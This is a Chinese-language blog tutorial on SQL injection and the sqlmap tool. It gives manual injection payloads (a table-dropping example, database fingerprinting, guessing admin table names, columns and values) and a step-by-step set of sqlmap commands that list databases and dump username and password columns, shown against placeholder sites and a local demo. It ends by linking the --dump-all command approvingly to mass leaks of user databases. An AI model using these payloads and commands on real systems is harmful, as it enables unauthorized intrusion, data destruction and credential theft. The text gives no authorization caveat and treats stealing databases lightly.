您的位置:首页 > 数据库

『安全工具』注入神器SQLMAP

2014-11-26 19:55 411 查看
    


    Pic by Baidu

0x 00 前言

    正是SQLMAP这种神器的存在,SQL注入简直Easy到根本停不下来....

    PS:国内类似软件也有阿D,明小子,挖掘机,当你用过他们之后你才会发现SQLMap才是绝对的注入神器

0x 01 注入原理

*****************************************开始分割线*****************************************

  存在注入的原因是因为后台在编写程序时,没有对用户输入的数据做过滤导致的,正如事实上,不是所有的用户都是友好的

  比如:用户在某个输入框提交的参数是 2

      浏览器提交的URL为: http:// www.XXX.com/index.php?id=2

      服务器后台执行SQL语句: select * from table1 where id = 2

      返回Response,浏览器解析返回的页面,然后你就看到新的页面了

     如果邪恶的用户提交的参数是 2;drop table1

      服务器后台执行SQL语句: select * from table1 where id =2 ; drop table1

      相当于后台执行了两条SQL语句,查表,并且把table1删除 - -

      从而导致了SQL注入。

  按照这个思路,现在写一下手工注入的一般步骤:

  1、 判断是否存在注入点(数字型注入)

    www.XXX.com/index.php?id=2‘--

    www.XXX.com/index.php?id=2 and 1=1 --

    www.XXX.com/index.php?id=2 and 1=2 --

    第2条返回正常,第1,3条返回不正常说明id参数存在注入漏洞

  2、 判断数据库类型

    可以根据不同数据库特有的表,或者根据不同数据库的语法不同进行判断

    www.XXX.com/index.php?id=2 and exists(select * from sysobjects) -- 返回正常是SQLServer 数据库

    www.XXX.com/index.php?id=2 and exists(select * from msysobjects) -- 返回正常是Access 数据库

    www.XXX.com/index.php?id=2 and len('a') = 1 --  返回正常是SQLServer或者MySQL

    www.XXX.com/index.php?id=2 and substring('abc','1','1') = a --  返回正常是SQLServer

    www.XXX.com/index.php?id=2 and subStr('abc','1','1')= a --  返回正常是Oracle

    知道是哪种类型数据库后就可以选择对应语法构造SQL语句进行攻击

  3、 判定是否存在admin表

    www.XXX.com/index.php?id=2 and exists(select * from admin) -- 返回正常 存在admin表

  4、猜admin表中的字段名

    www.XXX.com/index.php?id=2 and exists(select username from admin) -- 返回正常 表示admin表存在username字段

  5、 猜字段值

    www.XXX.com/index.php?id=2 and exists(select * from admin where id =1 and asc(mid(username,1,1))) < 100 -- 返回正常说明username中有ascii码小于100的字母,然后根据折半发准确判断是哪一个字符

  以上是 SQLServer的手工注入步骤,在MySQL和Oracle中略有不同,思路还是这个样子,好了终于把这部分也不补上了~~

*****************************************结束分割线*****************************************

0x 02 安装SQLMap

  1. 安装python

    官网https://www.python.org/ 选择最新版本下载安装即可

    因为SQLMap使用Python写的 ,所以没有Python的环境SQLMap无法运行

  2. 安装SQLMap

    官网 http://sqlmap.org/ 选择最近版本安装即可

  3. 设置环境变量

    为了使用便利,将SQLMAP的安装目录添加到系统环境变量中

    之后在CMD中就可以直接使用SQLMap了

    不设置环境变量的话,要把CMD的当前目录切换到SQLMap安装目录才可以使用

0x 03 SQLMap常用命令介绍

  1. sqlmap.py -u "http://www.XXX.com/index.asp?id=1"

    判断id参数是否存在注入:结果中包含 “id” is Vulnerable 字段表示存在注入

    存在注入,下面的步骤才可以执行成功~

  2. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --dbs

    列举能列出的所有数据库名

  3. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --current-db

    列出当前使用的数据库名,假设列出“sqltest”数据库  

  4. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --is-dba

    判断该注入点是否有管理员权限:返回true 表示是管理员

  5. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" --tables

    获取sqltest中的所有表,假设有"admin"表

  6. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" --columns

    列举表admin的字段(列名),假设存在"username","password"字段

  7. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" -C "username,password" --dump

    下载字段username,password的值,若询问是否破解md5加密,选择no即可

    至此,对一个简单的注入点(GET方式),现在就已经得到了我们想要的数据

    想看工具的注入过程 使用-v参数

    -level 会提高注入等级(默认0 只会判断get,post参数是否有注入点)

    若注入点是POST方式,或是注入点才Cookie,User-Agent中,可以利用-Date 参数 -Cookie参数指定

    当然用buip Suite架个代理,截取数据包,直接 -r 参数引入数据包也可以完成上述的注入情况的~

0x 04 注入Demo

    本次演示使用Apache+Php +Mysql 环境,其他环境的话

    使用SQLMap输入还是相同的命令,这点SQLMap做的好方便

    

   

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --dbs 列所有数据库名

    

 

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --current-db 列出当前数据库

    


    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --is-dba   判断注入点是否有管理员权限

    


    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --tables  猜表名

    


    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" --columns  猜字段名

    


    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" -C "id,name" --dump 猜id和name的值

    


    

    网络上流传的脱裤 用的可就是下面的一句话

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --dump-all

    突然发现 强大的东西往往仅仅是一句话 ! !

    这条命令会直接把test数据库中所有的表全部下载到安装目录output文件夹中

    然后就有了 2000W xxx 800W xxx ....................你懂得

    
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: